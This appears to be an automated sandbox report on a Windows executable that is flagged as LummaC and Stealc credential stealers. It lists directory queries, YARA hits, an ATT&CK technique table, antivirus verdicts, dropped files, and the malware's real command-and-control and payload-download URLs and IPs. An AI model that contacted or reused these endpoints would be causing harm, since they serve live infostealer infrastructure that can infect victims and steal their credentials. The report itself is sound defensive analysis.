Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2245144917.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qvkwOs4JfC.exe PID: 5664, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: qvkwOs4JfC.exe PID: 5664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2506803360.0000000000DA1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2448236024.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GZ5P1E828L48RRT6FSG1LU5.exe PID: 2292, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
qvkwOs4JfC.exe	42%	ReversingLabs	Win32.Trojan.Symmi
qvkwOs4JfC.exe	100%	Avira	TR/Crypt.XPACK.Gen
qvkwOs4JfC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/w	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpl(	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/m	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/rV	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeerN	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeD	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/Z1	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpx(	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpT(	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/pim	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/%	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php8)	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe(	0%	Avira URL Cloud	safe
http://185.215.113.206/L?	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tacitglibbr.biz	104.21.50.161	true	false		high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
http://185.215.113.206/	false	high
deafeninggeh.biz	false	high
tacitglibbr.biz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://tacitglibbr.biz/api	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
debonairnukk.xyz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/	qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/pi	qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpl(	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/m	qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/w	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/Z1	qvkwOs4JfC.exe, 00000000.00000003.2240632514.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2239527884.0000000005453000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2267992907.0000000005452000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2289576367.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268264355.0000000005454000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/s	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpx(	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/rV	qvkwOs4JfC.exe, 00000000.00000003.2240632514.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2239527884.0000000005453000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2217066538.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2214433675.000000000544B000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2214605993.0000000005450000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2215186404.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeerN	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exeD	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/pim	qvkwOs4JfC.exe, 00000000.00000003.2289519974.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	qvkwOs4JfC.exe, 00000000.00000003.2217084102.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpT(	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/%	qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2245144917.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268091520.0000000000CB0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/L?	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	qvkwOs4JfC.exe, 00000000.00000003.2215674417.00000000054CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	qvkwOs4JfC.exe, 00000000.00000003.2240889566.0000000005441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe(	qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402756898.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php8)	GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	qvkwOs4JfC.exe, 00000000.00000003.2168177767.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168243053.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168320119.00000000053FB000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.50.161	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576142
Start date and time:	2024-12-16 15:24:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qvkwOs4JfC.exe renamed because original name is a hash value
Original Sample Name:	bfc8fbb265274e407ebb9b2be9b6630f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GZ5P1E828L48RRT6FSG1LU5.exe, PID 2292 because there are no executed function
Execution Graph export aborted for target qvkwOs4JfC.exe, PID 5664 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: qvkwOs4JfC.exe

Simulations

Behavior and APIs

Time	Type	Description
09:25:09	API Interceptor	25x Sleep call for process: qvkwOs4JfC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.50.161	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tacitglibbr.biz	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.64.1
	https://qidinfissi.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.3.157
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	arm.elf	Get hash	malicious	Unknown	Browse	162.159.133.234
